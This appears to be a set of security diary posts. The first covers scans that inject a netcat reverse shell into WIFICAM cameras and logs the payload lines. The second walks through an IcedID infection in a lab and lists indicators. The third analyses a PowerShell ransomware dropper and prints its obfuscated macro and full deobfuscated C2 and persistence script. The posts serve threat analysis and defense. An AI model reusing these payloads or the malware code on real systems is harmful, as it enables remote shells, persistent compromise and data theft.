This activity started on the 5 July 2020 and has been active to this day only scanning against TCP port 81. The GET command is always the same except for the Netcat IP which has changed a few times since it started. If you have a webserver or a honeypot listening on TCP 81, this activity might be contained in your logs. I have included the URL to the IPDetails reported to ISC that shows similar activity from the same source IP address listed in this diary.

This activity appears to be related to the Wireless IP Camera (P2P) WIFICAM against 1250 camera models where a command injection in the set_ftp.cgi script via shell metacharacters in the pwd variable is possible and demonstrated in great details here. If you have one of these camera, the original author "[...] advise to IMMEDIATELY DISCONNECT cameras to the Internet."1

An example of the GET request:

20200705-124822: 192.168.25.9:81-194.180.224.130:58732 data 'GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=$(nc 94.102.49.26 1245 -e /bin/sh) HTTP/1.1\n\n'

Summary of Netcat Listener

Total           Command
86     nc 46.166.148.123 1245 -e /bin/sh
85     nc 2.57.122.196 1245 -e /bin/sh
59     nc 112.49.52.58 1245 -e /bin/sh
29     nc 193.228.91.123 1245 -e /bin/sh
14     nc 37.49.230.7 1245 -e /bin/sh
13     nc 93.157.62.102 1245 -e /bin/sh
 5     nc 45.95.168.190 1245 -e /bin/sh
 4     nc 37.49.230.133 1245 -e /bin/sh
 2     nc 45.143.220.55 1245 -e /bin/sh
 2     nc 94.102.49.26 1245 -e /bin/sh

Scanning Activity by Source

Total    Source IP
86     46.166.148.123 
85     2.57.122.196
59     112.49.52.58
29     193.228.91.123
14     37.49.230.7
13     93.157.62.102
 5     45.95.168.190
 4     37.49.230.133
 2     45.143.220.55
 1     94.102.49.26
 1     194.180.224.130

[1] https://nvd.nist.gov/vuln/detail/CVE-2017-18377
[2] https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments

Published: 2020-08-07

TA551 (Shathak) Word docs push IcedID (Bokbot)

Introduction

I've been tracking malicious Word documents from the TA551 (Shathak) campaign  This year, we've seen a lot of Valak malware from TA551, but in recent weeks this campaign has been pushing IcedID malware tp English-speaking targets.


Shown above: Flow chart for this campaign in recent weeks.

Today's diary reviews an infected I generated in my lab using a Word document from this campaign on Thursday 2020-08-06.

Infection Activity

See the images below for a walk-through on the infection I generated in my lab.


Shown above:  Screenshot a Word document from the TA551 (Shathak) campaign on Thursday 2020-08-06.


Shown above:  TCP stream of HTTP traffic to retrieve the installer DLL after enabling macros on the Word document.


Shown above:  The installer DLL was saved as C:\Users\[username]\AppData\Local\Temp\main.theme and run using regsvr32.exe /s [filename].

NOTE: In some cases, the installer DLL will be saved as C:\ProgramData\1.tmp with a copy of certutil.exe sitting in the same directory saved as C:\ProgramData\1.exe.


Shown above:  Traffic from my lab infection filtered in Wireshark.


Shown above:  EXE for IcedID created by the installer DLL.


Shown above:  The IcedID EXE persistent on my infected lab host.


Shown above:  Another PNG image with encoded data related to the infection after the EXE is run.

Indicators of Compromise (IoCs)

The following are 26 Word documents from the TA551 (Shathak) campaign on Thursday 2020-08-06 (read: SHA256 hash  file name):

  • 74e802b554527a8d3bc212eb0b107a63197daa1987a6f8cdd1c9c8ddae269c86   adjure-08.06.2020.doc
  • b23322f71771729668c866c9e3772eddb428c3c5d68bfba9433da3fe63f0c286   adjure_08.20.doc
  • df144083cb485322e601c9b188c676b989e003f279fa9328b79ec713489968aa   adjure_08.20.doc
  • c6bc5f8db1173945fca0b270656b059c69559a939480561296776938be03730c   charge,08.20.doc
  • 0c57c1af0d46a31bb43a4881026c6f392ac53faac9780f6924dff91aed07d28d   command.08.20.doc
  • 65ae12426a34a5802ca0c627aa4749206e2a75b57d9f938c69112af9be55be1a   command_08.06.2020.doc
  • 48576d904ca6a41f7be143e6aa30a01e9577dde2f744ebe2a43579c05550cc4e   decree 08.06.2020.doc
  • 6e92b206fb95f1e58e078571fe46c8d36632bf9f265af2cea59c8f1c5e4fab7f   decree,08.20.doc
  • 9ea63df909a4947f18ae4e5d35cfea604905a275167de3d5418bc4917a27e281   dictate.08.20.doc
  • 6c371a63e61f8ee4e379d862bb96403eb10864463a517d6c6c423cb3ea296ce8   documents,08.06.2020.doc
  • 0642b8b82c8b1949da4dc684b6f75a180e942673ac9428383a39c3a9ef10e1ca   enjoin-08.06.20.doc
  • dfd2333edc0622b49a01367a1fa60a85d64456e6f53350010a11d2f175e90b0b   enjoin.08.06.2020.doc
  • f6d12ccf893cb4c51b3c049bb07c7e51f3c0f73f55379310459bdd89c5421edf   figures_08.20.doc
  • e64f5c95f57e265b882d1f3d8b17455ffac350ff7c4ee22bb9187a7e10ec66b4   file,08.20.doc
  • addd6c62f38bd5b004abed3cf7edfece4d002ca56a35539f2657754be291bbea   files.08.06.2020.doc
  • affd7dd7f9bd8ec763c8646123f414bd25e68352d742a5bd3904ffa42580cf9f   instruct-08.20.doc
  • b453fe2b22df0a3447c9f1e64d5e2c9d2c0ef6e1d6e47aaaca3b611e868c00d3   instrument indenture-08.06.2020.doc
  • 6d8dd12ffb7ee93a6cd9f1051e17a1087d66f070cc534454fb04d9d8c33bb90c   intelligence,08.06.2020.doc
  • 3fe92d49ce855b4f02a99ba5c4a89edd2255603a4e0b5d9f3cc8767dd0809066   legal agreement 08.20.doc
  • 6badbba16b4cad10bfbb2cc245f4d63c7781aa9678417df84078273a12d3eaa1   legal paper.08.06.20.doc
  • c187247c655ab22dc5e67fe174af4fca1e14cff224dc5b60beff948a8a297dd2   official paper_08.06.2020.doc
  • 24368bddac344e5579e583cf86053d53894542c18f67a718400f62ff56d5a674   report 08.20.doc
  • acd6793d8210f51004f617765bdd882544d389c5191f35470c7f2a2aa6e3a337   require,08.20.doc
  • a3ba4baa49060dd73324c9d6f63a67f23a13b466fae33f85ad7493d58c5f8e6a   rule,08.06.2020.doc
  • e48c527a596751834d830a7c663f8e6e14e7b9d8ee9edbc41d344f4bf1ecbd9c   specifics,08.20.doc
  • a611374f8b55cee7c3a6cf6f05bf074c66cbc234e6f4f07f18762eace713cf88   statistics_08.20.doc

We saw at least 12 domains hosting the installer DLL for IcedID on Thursday 2020-08-06:

  • ed9fb4[.]com
  • ch4ck0j[.]com
  • dywb3va[.]com
  • j9b8q8[.]com
  • osog5n[.]com
  • oyomc2z[.]com
  • pncq6h[.]com
  • pt48tir[.]com
  • scgi76[.]com
  • sv51gh[.]com
  • vebk1x[.]com
  • xk625lf[.]com

There were 18 possible HTTP GET requests for the installer DLL on Thursday 2020-08-06:

  • GET /pupi/gyru.php?l=taxef1.cab
  • GET /pupi/gyru.php?l=taxef2.cab
  • GET /pupi/gyru.php?l=taxef3.cab
  • GET /pupi/gyru.php?l=taxef4.cab
  • GET /pupi/gyru.php?l=taxef5.cab
  • GET /pupi/gyru.php?l=taxef6.cab
  • GET /pupi/gyru.php?l=taxef7.cab
  • GET /pupi/gyru.php?l=taxef8.cab
  • GET /pupi/gyru.php?l=taxef9.cab
  • GET /pupi/gyru.php?l=taxef10.cab
  • GET /pupi/gyru.php?l=taxef11.cab
  • GET /pupi/gyru.php?l=taxef12.cab
  • GET /pupi/gyru.php?l=taxef13.cab
  • GET /pupi/gyru.php?l=taxef14.cab
  • GET /pupi/gyru.php?l=taxef15.cab
  • GET /pupi/gyru.php?l=taxef16.cab
  • GET /pupi/gyru.php?l=taxef17.cab
  • GET /pupi/gyru.php?l=taxef18.cab

The following are four SHA256 hashes for the installer DLL for IcedID seen on Thursday 2020-08-06:

  • 66471bb23ffb948309e48e5316f37da19938dcca7e0f1687e1ca5882fe16865f
  • 83d98c2bf9d4d544aa67e0610c7e6b6a4829e201b5878e30b7d11729f90c358e
  • ab74fb431a13b818341dce88c95cde771d096b5e5c93ccba33249e264ebfe9c4
  • b947929a2eb373ca547896b5bb3932140a51fdf68a093ac78407e19b9659b5aa

We saw two locations for the installer DLL on an infected Windows host:

  • C:\ProgramData\1.tmp
  • C:\Users\[username]\AppData\Local\Temp\main.theme

The following are malware/artifacts for the IcedID portion of the infection on Thursday 2020-08-06:

  • SHA256 hash: 9855f48a5449f3d156ade176ba56e57094f654f5ea974cbdf90a4ab79dd6125e
  • File size: 366,407 bytes
  • File location: C:\Users\[username]\AppData\Local\Temp\~1282690640.tmp
  • File type: PNG image data, 494 x 396, 8-bit/color RGB, non-interlaced
  • File description: PNG image with encoded data used by IcedID installer DLL to create IcedID EXE

SHA256 hash: 379eba5d8122133d69c864cc01dd3a7be50c976be5616372dd065c2c52c08b5f

  • File size: 361,984 bytes
  • File location: C:\Users\[username]\AppData\Local\Temp\~1282795140.exe
  • File description: IcedID EXE created by the IcedID installer DLL

SHA256 hash: ba2ca8258dd95cecc853ae56ff339d70f5af851f4bdef53ff8bf9998817f68da

  • File size: 673,413 bytes
  • File location: C:\Users\[username]\AppData\Local\[username]\[username]\Ifdouxac.png
  • File type: PNG image data, 736 x 591, 8-bit/color RGB, non-interlaced
  • File description: PNG image with encoded data created when IcedID EXE was first run

SHA256 hash: f1bb1db729644b0135c8ad3e124a8d1b79755b027cda3b12c8200b31a6720069

  • File size: 361,984 bytes
  • File location: C:\Users\[username]\AppData\Roaming\qehaap\[username]\laaposkc32.exe
  • File description: IcedID EXE persistent on the infected Windows host

HTTPS traffic caused by the installer DLL for IcedID:

  • port 443 - help.twitter.com   (not inherently malicious)
  • port 443 - support.apple.com   (not inherently malicious)
  • port 443 - www.intel.com   (not inherently malicious)
  • port 443 - support.microsoft.com   (not inherently malicious)
  • 128.199.198[.]227 port 443 - northkorisla[.]co

HTTPS traffic caused by the IcedID EXE:

  • 94.100.18[.]58 port 443 - qazyaquanauti[.]co
  • 94.100.18[.]58 port 443 - leaderfreeder[.]co
  • 94.100.18[.]58 port 443 - juveperdhue[.]top

Final words

All of the associated malware and artifacts (the two PNG files are not malicious on their own) have been submitted to the MalwareBazaar database and can be retrieved there.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

0 Comments

Published: 2020-08-06

A Fork of the FTCode Powershell Ransomware

Yesterday, I found a new malicious Powershell script that deserved to be analyzed due to the way it was dropped on the victim’s computer. As usual, the malware was delivered through a malicious Word document with a VBA macro. A first observation reveals that it’s a file less macro. The malicious Base64 code  is stored in multiples environment variables that are concatenated then executed through an IEX command:

Set osi = CreateObject("Wscript.shell")
Set wev = osi.Environment("Process")
wev("XXX0") = "JGVuY3J5cHQgPSAiNzY0OTJkMTExNjc0M2YwNDIzNDEzYjE2MDUwYTUzNDVNZ0I4QURFQVR3QXhBSElBYVFCRUFFMEFhQUJzQUZRQU1RQkxBSFF
BYUFCbEFFRUFjQUJ1QUdJQWFRQjRBSGNBUFFBOUFId0FaQUF6QURVQVlnQTJBR1VBTndBM0FERUFZUUEwQUdRQU1nQTNBR01BTmdCa0FEZ0FNZ0J
qQURjQVl3QXhBR1VBTWdBNUFEa0FNQUJtQUdRQU5BQTJBREFBTmdCaEFESUFOQUF6QUdFQU9RQmlBRElBTkFCakFHRUFNZ0JtQUdNQU1RQTNBRFl
BTXdBNUFEWUFNQUExQUdNQU9BQTJBR0lBWlFCbUFEZ0FPQUJsQURRQU9BQXhBR1FBTUFBNUFEZ0FaQUJqQURNQVlRQmxBRGdBT1FCbEFEWUFNd0J
sQURrQVl3QTNBREFBWkFBNEFEQUFNd0F4QURrQU13QmpBREFBWWdBekFETUFOd0F5QUdFQU5nQXlBRFFBTlFBeEFHVUFPQUF6QUdJQVpnQmpBR01
BWXdCaEFEQUFPUUJsQURjQU5nQTBBREFBTVFCbEFEa0FOd0F3QUdJQVl3QmtBRElBWkFBekFEZ0FNQUEzQUdZQU5RQXlBREVBWWdBNUFEQUFOd0J
oQURZQU5BQXlBRFVBTUFCbUFHRUFaQUEwQURBQU5nQTBBRElBWmdCaEFETUFNd0F4QUdJQVlRQTNBR01BTlFBeUFHVUFNZ0E1QURrQU9BQTRBR1V
BTndBMEFHWUFOQUJtQURRQU5BQTFBR1lBTXdCakFHSUFaUUEyQURnQVlnQTVBRFFBWmdCakFETUFOZ0JtQURFQVpRQXlBRE1BTUFBMEFEUUFaZ0E
1QUdRQVlnQTRBR1FBTlFBMUFHTUFZd0F4QURFQU1nQXdBRElBWVFBeUFEQUFOZ0JrQURRQU9RQTJBRElBWXdBM0FEY0FOd0JsQURrQVl3"
wev("XXX1") = "QTJBRE1BWmdCa0FHRUFaUUEwQUdJQU5BQTVBR0VBWXdBeUFHVUFPQUF5QURFQU1RQm1BREVBWkFCbEFHRUFZUUJqQURZQVlnQTBBRGtBWmdCaUF
ERUFNUUExQURjQU9RQTVBR0lBWkFCa0FEWUFNQUExQURNQVl3QTBBRE1BTXdCa0FHUUFNUUE0QUdFQVl3QmlBR1FBTkFCbUFEUUFOd0EwQURrQU5
RQXlBRElBWVFCaEFEZ0FPUUJsQURFQU5RQTNBRElBTVFBeEFEZ0FaUUJsQURrQU5BQTRBR1lBWmdBekFHRUFOUUJqQURZQU53QTFBREVBTWdBMkF
EZ0FNd0JsQUdFQU5BQmpBRE1BTUFBMEFHUUFaZ0EwQURjQU9RQXpBRE1BTVFBNEFHRUFaZ0E1QURrQU53QmlBRGNBTUFCaEFETUFNd0ExQURRQVp
BQTRBR1FBWkFBNUFHUUFOZ0F5QUdFQU1BQXdBR1FBWVFCbEFHUUFNUUF3QUdNQU53QTRBRFFBWlFBd0FEZ0FZUUF6QUdNQU9RQXdBRElBWkFBeEF
EQUFOUUEzQURRQU5RQmlBR0VBWmdCaEFHWUFPQUJqQUdFQU5nQmpBRE1BTkFCaEFEVUFOd0JsQURFQU1nQTVBR1lBWVFCbEFEWUFNd0F4QURrQVp
BQTFBR0VBTVFBMUFHSUFaQUJtQURJQU53QTRBRFVBWlFCaUFHRUFaQUJtQUdZQVl3QTRBREFBWmdBMkFHWUFaQUJsQURNQVpRQmhBRFlBTlFCaEF
EVUFaUUEyQURZQU9RQTJBRGdBWlFBMUFETUFNQUF3QURVQU1nQTRBRGtBWVFBeEFEVUFNUUE0QUdJQVlnQTRBREFBWWdCaEFHTUFaZ0EwQURrQU1
RQmlBRFFBTkFBNUFEVUFaZ0JqQURrQVlRQXlBR1lBTkFBNEFESUFOd0EzQURrQU5nQTJBRFVBWXdCbEFEQUFNUUJsQURFQU1nQmpBRGtB"

Up to 274 chunks of similar data are created and concatenated to generate the Base64 payload:

wev("XXX274") = "VGV4dElucHV0ICRlbmNyeXB0OwpoZWkgJERlY3J5cHRlZERhdGE="
XXX = "$env:XXX0+$env:XXX1+$env:XXX2+$env:XXX3+$env:XXX4+$env:XXX5+$env:XXX6+$env:XXX7+$env:XXX8+$env:XXX9+$env:XXX10+
$env:XXX11+$env:XXX12+$env:XXX13+$env:XXX14+$env:XXX15+$env:XXX16+$env:XXX17+$env:XXX18+$env:XXX19+$env:XXX20+$e
nv:XXX21+$env:XXX22+$env:XXX23+$env:XXX24+$env:XXX25+$env:XXX26+$env:XXX27+$env:XXX28+$env:XXX29+$env:XXX30+$env
:XXX31+$env:XXX32+$env:XXX33+$env:XXX34+$env:XXX35+$env:XXX36+$env:XXX37+$env:XXX38+$env:XXX39+$env:XXX40+$env:X
XX41+$env:XXX42+$env:XXX43+$env:XXX44+$env:XXX45+$env:XXX46+$env:XXX47+$env:XXX48+$env:XXX49+$env:XXX50+$env:XXX
51+$env:XXX52+$env:XXX53+$env:XXX54+$env:XXX55+$env:XXX56+$env:XXX57+$env:XXX58+$env:XXX59+$env:XXX60+$env:XXX61
+$env:XXX62+$env:XXX63+$env:XXX64+$env:XXX65+$env:XXX66+$env:XXX67+$env:XXX68+$env:XXX69+$env:XXX70+$env:XXX71+$
env:XXX72+$env:XXX73+$env:XXX74+$env:XXX75+$env:XXX76+$env:XXX77+$env:XXX78+$env:XXX79+$env:XXX80+$env:XXX81+$en
v:XXX82+$env:XXX83+$env:XXX84+$env:XXX85+$env:XXX86+$env:XXX87+$env:XXX88+$env:XXX89+$env:XXX90+$env:XXX91+$env:
XXX92"
...
osi.Run "powershell -noexit -c " & Chr(34) & "IeX ([System.Text.Encoding]::Unicode.GetString([system.Convert]::FromBase64String(" & XXX & ")));" & Chr(34), 1, True

Once the Base64 extracted and decoded, we have the first payload:

$encrypt = 
"76492d1116743f0423413b16050a5345MgB8ADEATwAxAHIAaQBEAE0AaABsAFQAMQBLAHQAaABlAEEAcABuAGIAaQB4AHcAPQA9AHwAZAAzADU
AYgA2AGUANwA3ADEAYQA0AGQAMgA3AGMANgBkADgAMgBjADcAYwAxAGUAMgA5ADkAMABmAGQANAA2ADAANgBhADIANAAzAGEAOQBiADIANABjAGE
AMgBmAGMAMQA3ADYAMwA5ADYAMAA1AGMAOAA2AGIAZQBmADgAOABlADQAOAAxAGQAMAA5ADgAZABjADMAYQBlADgAOQBlADYAMwBlADkAYwA3ADA
AZAA4ADAAMwAxADkAMwBjADAAYgAzADMANwAyAGEANgAyADQANQAxAGUAOAAzAGIAZgBjAGMAYwBhADAAOQBlADcANgA0ADAAMQBlADkANwAwAGI
AYwBkADIAZAAzADgAMAA3AGYANQAyADEAYgA5ADAANwBhADYANAAyADUAMABmAGEAZAA0ADAANgA0ADIAZgBhADMAMwAxAGIAYQA3AGMANQAyAGU
AMgA5ADkAOAA4AGUANwA0AGYANABmADQANAA1AGYAMwBjAGIAZQA2ADgAYgA5ADQAZgBjADMANgBmADEAZQAyADMAMAA0ADQAZgA5AGQAYgA4AGQ
ANQA1AGMAYwAxADEAMgAwADIAYQAyADAANgBkADQAOQA2ADIAYwA3ADcANwBlADkAYwA2ADMAZgBkAGEAZQA0AGIANAA5AGEAYwAyAGUAOAAyADE
AMQBmADEAZABlAGEAYQBjADYAYgA0ADkAZgBiADEAMQA1ADcAOQA5AGIAZABkADYAMAA1ADMAYwA0ADMAMwBkAGQAMQA4AGEAYwBiAGQANABmADQ
ANwA0ADkANQAyADIAYQBhADgAOQBlADEANQA3ADIAMQAxADgAZQBlADkANAA4AGYAZgAzAGEANQBjADYANwA1ADEAMgA2ADgAMwBlAGEANABjADM
AMAA0AGQAZgA0ADcAOQAzADMAMQA4AGEAZgA5ADkANwBiADcAMABhADMAMwA1ADQAZAA4AGQAZAA5AGQANgAyAGEAMAAwAGQAYQBlAGQAMQAwAGM
ANwA4ADQAZQAwADgAYQAzAGMAOQAwADIAZAAxADAANQA3ADQANQBiAGEAZgBhAGYAOABjAGEANgBjADMANABhADUANwBlADEAMgA5AGYAYQBlADY
AMwAxADkAZAA1AGEAMQA1AGIAZABmADIANwA4ADUAZQBiAGEAZABmAGYAYwA4ADAAZgA2AGYAZABlADMAZQBhADYANQBhADUAZQA2ADYAOQA2ADg
AZQA1ADMAMAAwADUAMgA4ADkAYQAxADUAMQA4AGIAYgA4ADAAYgBhAGMAZgA0ADkAMQBiADQANAA5ADUAZgBjADkAYQAyAGYANAA4ADIANwA3ADk
ANgA2ADUAYwBlADAAMQBlADEAMgBjADkANgAzADIAMwBlADAAYwBhAGIANgBlAGIAYQAzADIAZAA4ADEAYQA5ADUANQAwAGMANwAwADMAZABmADg
AZAA2ADQAZQA0AGYAZgBhADQAMQAxADIANQAzAGQAZAA2AGMAMwAyADEAOQA4AGMAMwBkAGIAYwAzADcAYwAxADEAYgA0AGEANAA4AGIANAA4ADA
AZAA1ADYANAA2AGMAZQAyADgAZAAzADAAOQBjADYAOABhAGMAOQA1ADEAMwBlADIAZQBiAGYAYwBlAGQANQBiAGYA..."

function hei($encrypt){
  $sipped = [system.Convert]::FromBase64String($encrypt);
  $unsipped = gdba($sipped);
  $sclipt = [System.Text.Encoding]::Unicode.GetString($unsipped);
  iex($sclipt);
}

Function Set-SecretKey {
  [CmdletBinding()]
  Param
  (
    [string]$Key
  )
  #Get key length.
  $Length = $Key.Length;  
  #Pad length.
  $Pad = 32-$Length;   
  #If the length is less than 16 or more than 32.
  If(($Length -lt 16) -or ($Length -gt 32))
  {
    #Throw exception.
    Throw "String must be between 16 and 32 characters";
  }   
  #Create a new ASCII encoding object.
  $Encoding = New-Object System.Text.ASCIIEncoding;
  #Get byte array.
  $Bytes = $Encoding.GetBytes($Key + "0" * $Pad)
  #Return byte array.
  Return $Bytes;
}
 
Function Get-EncryptedData {
  [CmdletBinding()]
  Param
  (
    $Key,
    $TextInput
  )
  #Decrypt the text input with the secret key.
  $Result = $TextInput | ConvertTo-SecureString -Key $Key | ForEach-Object {
 [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($_))};
  #Return the decrypted data.
  Return $Result;
}
 
$Key = Set-SecretKey -Key "YRTWHTRJUUYUYRKB";
$DecryptedData = Get-EncryptedData -Key $Key -TextInput $encrypt;
hei $DecryptedData

The second payload is decrypted and, again, passed to Invoke-Expression ("IEX"). We have another Base64-encoded data.  Let's go deeper and decode it to discover now some VBS code. The obfuscation technique used is simple but effective:

xatu = ""
gfjbx = 0
Sub tghyu
ivhze -370
ivhze -371
ivhze -363
ivhze -381
ivhze -368
...
ivhze -450
ivhze -446
ivhze -385
ivhze -423

End Sub
Function ivhze (suas)
  xatu = xatu + ( vazey( suas + vxiwh  ) )
End Function
Function vazey (suas)
  vazey = Replace(ejtva, "aiyh,", "vizta") + ( Chr(suas) ) + ""
End Function
  ejtva = ""
  vxiwh = 482
  tghyu
  CreateObject("WScript.Shell").Run xatu, gfjbx

You can spot the trick: the next payload is decoded, via ivhze(), one character at a time and apped to the 'xatu' variable and finally executed. Here is the deobfuscated code:

powershell -WindowStyle Hidden -c $a=[string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 
'JGF6YWp1emRkID0gJGVudjpQVUJMSUMgKyAiXExpYnJhcmllcyIKaWYgKC1ub3QgKFRlc3QtUGF0aCAkYXphanV6ZGQpKSB7IG1kICRhemFqdXp
kZDsgfQokZHphanRhamFpID0gJGF6YWp1emRkICsgIlxXaW5kb3dzSW5kZXhpbmdTZXJ2aWNlLnZicyI7CiR5ZmZ1YWd6aXQgID0gIjEwMTQuMiI
7CiRieWFoeWpzaWIgPSAkZW52OnRlbXAgKyAiXEFGWDUwMDU4LnRtcCI7CiR0dXlidWF1eGZzICA9ICRhemFqdXpkZCArICJcdGh1bWJjYWNoZV8
2NC5kYiI7CiRteXVybHBvc3QgPSAkZmFsc2U7CiRmYWJ4d3h1YyA9ICJ3IjsKCmZ1bmN0aW9uIGlhbXdvcmsyeyBzYyAtUGF0aCAkYnlhaHlqc2l
iIC1WYWx1ZSAkKEdldC1EYXRlKTsgfTsKZnVuY3Rpb24gY3l4anVkZyggJHR1eXlzdWJzeSApewogIGlmKCAkdHV5eXN1YnN5IC1tYXRjaCAnT3V
...
zZTsKICBpZiggJGZmc2dlaXVkeGMubGVuZ3RoIC1uZSAxNiAgKXsgJHR3Ynh2dGJ6dHYsICRmZnNnZWl1ZHhjID0gIGJiYXp4YXp1ICR0cnVlOyB
9Cn1lbHNlewogICR0d2J4dnRienR2LCAkZmZzZ2VpdWR4YyA9ICBiYmF6eGF6dSAkdHJ1ZTsKfQokbXl1cmxwb3N0ID0gd2ZheHZ6ZDsKd2hpbGU
oICRmYWJ4d3h1YyApewogIGlhbXdvcmsyOwogIHRyeXsKICAgIGlmKCAkZmFieHd4dWMgLWFuZCAoJGZhYnh3eHVjLmxlbmd0aCAtZ3QgMzApICA
pewogICAgICBpZXggJGZhYnh3eHVjOwogICAgfTsKICB9Y2F0Y2h7IGN5eGp1ZGcgJF8uRXhjZXB0aW9uLk1lc3NhZ2U7IH07CiAgU3RhcnQtU2x
lZXAgLXMgMjgwOwogICRmYWJ4d3h1YyA9IHNlbmRwb3N0MjsKfTsKcmkgLVBhdGggJGJ5YWh5anNpYiAtRm9yY2U7Cg==' ) );iex $a;

Yes, again, a Powershell script with more Base64-encoded data! Here is the decoded script:

$azajuzdd = $env:PUBLIC + "\Libraries"
if (-not (Test-Path $azajuzdd)) { md $azajuzdd; }
$dzajtajai = $azajuzdd + "\WindowsIndexingService.vbs";
$yffuagzit  = "1014.2";
$byahyjsib = $env:temp + "\AFX50058.tmp";
$tuybuauxfs  = $azajuzdd + "\thumbcache_64.db";
$myurlpost = $false;
$fabxwxuc = "w";

function iamwork2{ sc -Path $byahyjsib -Value $(Get-Date); };
function cyxjudg( $tuyysubsy ){
  if( $tuyysubsy -match 'OutOfMemoryException' ){
    ri -Path $byahyjsib -Force;
    get-process powershell* | stop-process;
    exit;
  };
}

function sendpost2( $tuyysubsy ){
  if( !$myurlpost ){ return $false; };
  $sfyzgbw = New-Object System.Net.WebClient;
  $sfyzgbw.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
  $sfyzgbw.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  $sfyzgbw.Encoding = [System.Text.Encoding]::UTF8;
  try{
    $wabhxji = $sfyzgbw.UploadString( $myurlpost, "l="+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( "v=$yffuagzit&guid=$twbxvtbztv&" + $tuyysubsy ) ) ) );
    $wabhxji = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( $wabhxji ) );
    if( !$fabxwxuc ){ return $false; }
    if( $ffsgeiudxc -eq $wabhxji.Substring(0,16) ){
      return $wabhxji.Substring(16,$wabhxji.length-16) ;
    }else{
      $fabxwxuc = $false;
      sendpost2 ("error=" + [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( $wabhxji ) ) );
    }
  }catch{
    cyxjudg $_.Exception.Message;
    $fabxwxuc = $false;
    $sfyzgbw.UploadString( $myurlpost, "l="+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( "v=$yffuagzit&guid=$twbxvtbztv&error=sendpost2:" + $myurlpost+":"+$wabhxji +":"+ $_.Exception.Message ) ) ) );
  };
  return $false;
};

function wfaxvzd( $idtutvas ){
  $hzveitdjuj = "hxxp://cdn[.]danielrmurray[.]com/";
  "hee","xu1","hs0","jd5","mqf" | %{ $hzveitdjuj += ","+"http://"+ ( [Convert]::ToBase64String( [System.Text.Encoding]::UTF8.GetBytes( $_+ $(Get-Date -UFormat "%y%m%V") ) ).toLower() ) +".top/"; };
  $hzveitdjuj.split(",") | %{
    if( !$myurlpost ){
      $myurlpost = $_;
      if( !(sendpost2 ($idtutvas + "&domen=$myurlpost" )) ){ $myurlpost = $false; };
      Start-Sleep -s 5;
    }
  };
  if( $idtutvas -match "status=register" ){
    return "ok";
  }else{
    return $myurlpost;
  } 
};

if ( Test-Path $byahyjsib ){
  if ( ( ( NEW-TIMESPAN -Start ((Get-ChildItem $byahyjsib ).CreationTime) -End (Get-Date)).Minutes ) -gt 15 ){
    ri -Path $byahyjsib -Force;
    try{ get-process powershell* | stop-process }catch{};
    exit;
  }else{ exit; };
};

function bbazxazu( $uhzghaygf ){
  if( $uhzghaygf ){
    sc -Path $tuybuauxfs -Value ( [guid]::NewGuid(), ( [guid]::NewGuid() -replace '-','' ).Substring(0,16)  -join ',' ) -Force;  
    gi $tuybuauxfs -Force |  %{ $_.Attributes = "Hidden" };
    try{
      $xbgeechhvd = [Environment]::GetFolderPath('Startup') + '\WindowsApplicationService.lnk';
      if( -not ( Test-Path $xbgeechhvd ) ){
        $awugjdzsz = New-Object -ComObject ('WScript.Shell');
        $fzxwzjvv = $awugjdzsz.CreateShortcut( $xbgeechhvd  );
        $fzxwzjvv.TargetPath = $dzajtajai;
        $fzxwzjvv.WorkingDirectory = $azajuzdd;
        $fzxwzjvv.WindowStyle = 1;
        $fzxwzjvv.Description = 'Windows Application Service';
        $fzxwzjvv.Save();
      }
    }catch{};
    $twbxvtbztv, $ffsgeiudxc = (get-content $tuybuauxfs).split(',');
    $gdigfeyf = "status=register&ssid=$ffsgeiudxc&os="+([string]$PSVersionTable.BuildVersion)+"&psver="+( ( (Get-Host).Version ).Major )+ "&comp_name=" + ((Get-WmiObject -class Win32_ComputerSystem -Property Name).Name.trim() );
    if( Test-Path ( $azajuzdd + "\thumbcache_33.db" ) ){
      ri -Path ( $azajuzdd + "\thumbcache_33.db" ), ( $azajuzdd + "\WindowsIndexingService.js" ) -Force;
      try{ schtasks.exe /delete /TN "WindowsIndexingService" /f }catch{}
      try{ schtasks.exe /delete /TN "Windows Indexing Service" /f }catch{}
      if( Test-Path ( [Environment]::GetFolderPath('Startup') + '\WindowsIndexingService.lnk' )  ){
        ri -Path ( [Environment]::GetFolderPath('Startup') + '\WindowsIndexingService.lnk' ) -Force;
      }
    }
    $wccgavfse = wfaxvzd $gdigfeyf;
    if( $wccgavfse -ne "ok"){
      ri -Path $tuybuauxfs -Force;
      exit;
    }
  }
  return (get-content $tuybuauxfs).split(',');
}
$ijhtvxyi = (schtasks.exe /create /TN "WindowsApplicationService" /sc DAILY /st 00:00 /f /RI 17 /du 23:59 /TR $dzajtajai); 
if ( Test-Path $tuybuauxfs ){
  $twbxvtbztv, $ffsgeiudxc =  bbazxazu $false;
  if( $ffsgeiudxc.length -ne 16  ){ $twbxvtbztv, $ffsgeiudxc =  bbazxazu $true; }
}else{
  $twbxvtbztv, $ffsgeiudxc =  bbazxazu $true;
}
$myurlpost = wfaxvzd;
while( $fabxwxuc ){
  iamwork2;
  try{
    if( $fabxwxuc -and ($fabxwxuc.length -gt 30)  ){
      iex $fabxwxuc;
    };
  }catch{ cyxjudg $_.Exception.Message; };
  Start-Sleep -s 280;
  $fabxwxuc = sendpost2;
};
ri -Path $byahyjsib -Force;

This script is stored in:

$env:PUBLIC + "\Libraries";   if (-not (Test-Path $vuzyfjvdhd)) { md $vuzyfjvdhd; }   $tcfshdx = $vuzyfjvdhd + "\WindowsIndexingService.vbs

And persistence is added through a scheduled task:

schtasks.exe /create /TN "WindowsApplicationService" /sc DAILY /st 00:00 /f /RI 17 /du 23:59 /TR $tcfshdx

